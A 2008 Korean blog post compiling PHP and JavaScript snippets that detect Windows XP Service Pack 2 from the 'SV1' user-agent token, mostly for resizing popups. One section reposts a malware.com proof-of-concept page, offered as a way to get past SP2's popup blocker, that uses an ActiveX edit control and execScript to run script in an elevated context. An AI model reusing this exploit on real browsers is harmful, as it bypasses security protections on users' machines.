하얀늑대 :: 하얀늑대의 일상
bloghome Tags |  Guestbook | 
  Tags
IBM 창업 보안서버 속도개선 역발상 IT 윈도우 utf-8 중국 카운터 핸드폰 사진 iframe 인클루드 jsp 웹사이트구축 웹브라우져 포커스 프린터 블루레이
banner
하얀늑대 ::
하얀늑대의 일상

Google
내블로그에서 검색
 하얀늑대는?
 Category
allow  모두보기 (275)
spacespace Today Story's (11)
spacespace 핫이슈 (19)
spacespace 디카질 (4)
spacespace Javascript (15)
spacespace 2000 server (9)
spacespace 2003 server (3)
spacespace 리눅스 (3)
spacespace UCC (6)
spacespace 컴퓨터 Tip (15)
spacespace IT news (65)
spacespace 웹 접근성 (3)
 Tags
김정일 textarea 쿠키 XP 웹사이트제작 서비스팩 핸드폰 신조어 따뜻한 세상 중국 php 포털 MS 보안서버 조삼모사 AB형 include 분산서버 타겟층 전화걸기
  Calendar
<< 2008 February >>
S M T W T F S
27 28 29 30 31 1 2
3 4 5 6 7 8 9
10 11 12 13 14 15 16
17 18 19 20 21 22 23
24 25 26 27 28 29 1
 New Post
line 중국 오픈마켓 시장 진출
line 중국 오픈마켓 시장 진출
line 중국 인터넷 시장의 국제화
line 중국 인터넷 쇼핑몰 시장의
line 중국 인터넷, 바이러스 마
 New Comment
lineselee2000 : 10/10/27
reply멋진데요.
line클럽4242 : 10/08/26
reply사랑에상처는 사랑으로 치
linesusanna : 08/11/07
replyhey,find <a href=http:
line하얀늑대 : 08/05/22
reply위에 페이지는 한페이지 내
line아아아 : 08/04/26
reply개새끼는너야
 New Tracbacks
lineWeb 1.0 과 Web 2.0
line06/11/18
line괴물 - 2006. 7. 28.
line06/07/29
 New Archive
2011 April (13)
2011 March (2)
2011 January (1)
2010 December (1)
2010 November (1)
...more
  Link Site
올블로그
KOON
태터툴즈
엑스파이더
심프로그
디지털예보
thesimplog.com
feed rss
 Visitor Statistics
Total  :  325496
Today :  101
Yesterday :  147


 Google



blog bar tagsbar guest loginbarlogoutbarX-inbar
line 브라우져 XP 서비스팩2 판별
Javascript | 08/02/20 | 하얀늑대
OS가 Windows SP2 일 경우 $HTTP_USER_AGENT 가 어떻게 표기되나요?
저나 주위에 SP2 쓰시는 분이 없어서 테스트를 못해보네요.. ㅡㅡ;;
그리고 자바스크립트에서 위와 같은 혹은 비슷한 기능을 하는 함수가 있다면 알려주시면 고맙겠습니다.
미리 감사드립니다..

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
 
WinXP SP2 :
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
 
============================================================================================
서비스팩2를 설치한 사용자의 경우 팝업창을 띄우면 하단에 상태표시줄이 사라지지 않아서 사이즈를 세로 20px 더 잡아줘야하는등..  뭐... 하여간 이래저래 변경사항이 많습니다.

서비스팩2를 설치하여 사용하는 사용자인가의 여부를 판별하기 위한 초간단 팁~! 같지도 않은 팁!

if(eregi("SV1",$_SERVER['HTTP_USER_AGENT'])) { $servicePack = "사용"; } else { $servicePack = "안사용"; }

재량껏 사용하기 바랍니다.
 
===============================================================================
서비스팩2를 깔고 HTTP_USER_AGENT를 보면
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

그렇지 않은 버전이면
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
이렇게 나옵니다.
 
===============================================================================
[자바스크립트에서]
isopen = window.open("pop.html");
if(isopen == false){
alert("새창띄우기 실패");
}
 
===============================================================================
<script language="javascript">
function my_resize()
{
       var g_fIsSP2 = false;
       g_fIsSP2 = (window.navigator.userAgent.indexOf("SV1") != -1);
       if (g_fIsSP2)     {    
              // XP SP2 브라우저임..
              window.resizeTo(600,522);
       }   else     {
              //XP SP2 브라우저가 아님.
              window.resizeTo(600,502);
    }
}
</script>       

<body  omLoad="my_resize();">
 
===============================================================================
XP SP2 팝업방지 기능 무시하고 팝업창 띄우기.
<HTML>
<HEAD>
<TITLE>malware.com</TITLE>
<META NAME="Author" CONTENT="malware.com">
<meta name="robots" content="noindex, nofollow">
</HEAD>
 

<body omload="setTimeout('   main()   ',1000)">
<object
 id="x"
 classid="clsid:2D360201-FFF5-11d1-8D03-00A0C959BC0A"
 width="1"
 height="1"
 align="middle"
>
<PARAM NAME="ActivateApplets" VALUE="1">
<PARAM NAME="ActivateActiveXControls" VALUE="1">
</object>
<SCRIPT>
function main()
{
 x.DOM.Script.execScript(shellscript.toString());
 x.DOM.Script.setTimeout("shellscript()");
}
</SCRIPT>
<br><br><br><br><br><br><center><img src=nocigar.gif><br><br><FONT FACE=ARIAL SIZE 12PT>NO CIGAR !</FONT></center>
</body>
</html>
 
============================================================================
요즘 sp2때문에 신경쓰이죠
저는 아직 이것땜에 신경쓸 일은 없었는데
누가 sp2설치여부를 확인할 수 있을까 물어보시길래
혹시나 ie에서 user-agent가 다를까 싶어 찾아봤더니
그냥 xp랑.. sp2가 설치된 xp랑 조금 다르네요
확인사살로 구글에서 검색해본 결과

function browserVersion(){    
tmp_MSIE = window.navigator.userAgent.indexOf("MSIE");
if(tmp_MSIE && window.navigator.userAgent.indexOf("SV1") > tmp_MSIE){  
//This browser is Internet Explorer with SP2.  
return true;
} else {
//This browser is not Internet Explorer with SP2.
return false;
}
}
var xpie_SP2 = browserVersion();

요점은...
php에서 $_SERVER['HTTP_USER_AGENT'] 값이나.. javascript에서 navigator.userAgent값을 보면
그냥 xp는 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) 이렇게 나오구요
sp2를 설치하면 Windows NT 5.1; SV1 이렇게 SV1이 추가로 나옵니다.

당연히 IE가 아니면 안나오겠죠..?
 

태그: 서비스팩
bullet관련글0 | 댓글0
이전/ [1] / 다음 top